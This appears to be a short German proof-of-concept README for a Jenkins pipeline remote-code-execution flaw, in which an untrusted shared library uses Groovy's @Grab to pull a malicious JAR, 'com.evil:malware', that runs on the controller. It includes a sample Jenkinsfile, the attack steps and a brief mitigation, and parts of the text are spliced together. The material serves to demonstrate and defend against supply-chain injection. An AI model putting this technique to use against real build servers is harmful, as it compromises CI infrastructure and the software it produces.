
PoC für CVE-2026-22018, eine kritische Jenkins-Pipeline-Shared-Library-RCE über Groovy @Grab, zur Demonstration von Supply-Chain-Code-Injektion und Gegenmaßnahmen.
@Grab// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
Eine Jenkins-Pipeline lädt eine Shared Library aus einer nicht vollständig vertrauenswürdigen Quelle. Die Bibliothek verwendet die @Grab-Annotation, um externe Maven-Artefakte herunterzuladen, die eine schädliche Klasse enthalten können, die während der Groovy-Kompilierung Code auf dem Jenkins-Controller ausführt.
@Grab-Annotation von Groovy ruft zur Laufzeit beliebige JARs ab und lädt sie; Shared Libraries sind nicht in einer Sandbox isoliert.Konfigurieren Sie eine Pipeline mit einer nicht vertrauenswürdigen Bibliothek, die in ihrer Datei vars/evilStep.groovy den Aufruf @Grab('com.evil:malware:1.0') enthält. Wenn die Pipeline ausgeführt wird, wird der statische Initialisierer der schädlichen JAR-Datei ausgeführt.
@Grab über die Sicherheitseinstellungen der Groovy-Sandbox.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.